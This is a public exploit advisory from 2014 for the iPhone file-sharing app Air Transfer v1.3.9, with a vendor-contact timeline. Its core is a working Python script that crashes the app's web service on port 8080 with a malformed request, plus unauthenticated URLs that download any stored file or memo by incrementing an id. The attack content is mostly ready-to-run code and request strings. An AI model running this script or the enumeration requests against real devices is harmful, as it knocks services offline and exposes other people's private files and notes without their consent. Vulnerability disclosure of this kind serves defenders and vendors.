# Exploit Title: Air Transfer Iphone v1.3.9 -Remote crash, Broken Authentication file download and Memo Access. # Date: 08/23/2014 # Author: Samandeep Singh (SaMaN - @samanL33T ) # Vendor Homepage:http://www.darinsoft.co.kr/sub_htmls/airtransfer_guide.html https://itunes.apple.com/us/app/air-transfer/id521595136?mt=8 # Category: WebApp # Version: 1.3.9 # Patch/ Fix: Not available --------------------------------------------------- Disclosure Time line ======================= [Aug. 19 2014] Vendor Contacted [Aug. 19 2014] Vendor replied [Aug. 19 2014] Vendor Informed about vulnerability with POC.(No reply received) [Aug. 21 2014] Notified vendor about Public disclosure after 24 hours (No reply received) [Aug. 23 2014] Public Disclosure. -------------------------------------------------------- Product & Service Details: ========================== Air Transfer - Easy file sharing between PC and iPhone/iPad, File Manager with Document Viewer, Video Player, Music Player and Web Browser. Features include: ----------------- * The easiest way to transfer files between PC and iPhone/iPad ! * Just Drag & Drop your contents and Play: Text, Bookmark, Image and Photo, Music, Movie, Documents and more through wireless connection ! Vulnerability details ========================= ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1. Remote Application Crashing ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #!/usr/bin/python import socket import sys s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) host=raw_input("Enter IP : ") port=8080 def connect(): try: s.connect((str(host),port)) except socket.error: print "Error: couldn't connect" sys.exit() return "connected to target" #Crashing the App def crashing(): req="GET /getList?category=categoryAll?pageNo=1&key= HTTP/1.1\r\n\r\n" try: s.sendall(req) except: print "Error occured, Couldn't crash App" sys.exit() return "Application Down, Conection closed" print connect() print crashing() ______________________________________________________________________________________________________________________________ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 2. Broken Authentication - Memo access & File download. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To download any file simply visit: http://<IP>:8080/?downloadSingle?id=1 Just by incrementing the value of "id" we can download all the files. TO view saved memos visit the below link: http://<IP>:8080/getText?id=0 We can look for all the memos by incrementing the value of "id" #SaMaN(@samanL33T)